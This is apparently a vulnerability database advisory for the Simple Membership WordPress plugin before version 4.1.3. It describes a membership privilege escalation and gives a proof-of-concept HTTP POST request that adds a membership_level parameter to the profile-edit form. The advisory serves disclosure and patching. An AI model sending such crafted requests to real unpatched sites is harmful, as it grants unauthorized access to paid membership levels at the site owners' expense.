WordPress Plugin Vulnerabilities

Simple Membership < 4.1.3 - Membership Privilege Escalation

Description

The plugin does not properly validate the membership_level parameter when editing a profile, allowing members to escalate to a higher membership level by using a crafted POST request.

Note: This only affects membership from the plugin, not the WordPress role

Proof of Concept

To increase the level, the attacker needs to add the membership_level parameter to the POST request sent when updating the profile.

POST /membership-login/membership-profile/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [logged in user with membership level 2]

swpm_profile_edit_nonce_val=1c449c7f1a&_wp_http_referer=%2Fmembership-login%2Fmembership-profile%2F&email=user%40localhost.localhost&password=&password_re=&first_name=user_low&last_name=user_low&phone=&address_street=123&address_city=1234&address_state=123&address_zipcode=&country=&company_name=&swpm_editprofile_submit=Update&action=custom_posts&membership_level=3

Affects Plugins

Fixed in 4.1.3

References

Classification

Miscellaneous

Original Researcher
Jet Infosystems
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-07-06 (about 1 years ago)
Added
2022-07-06 (about 1 years ago)
Last Updated
2023-04-10 (about 1 years ago)

Other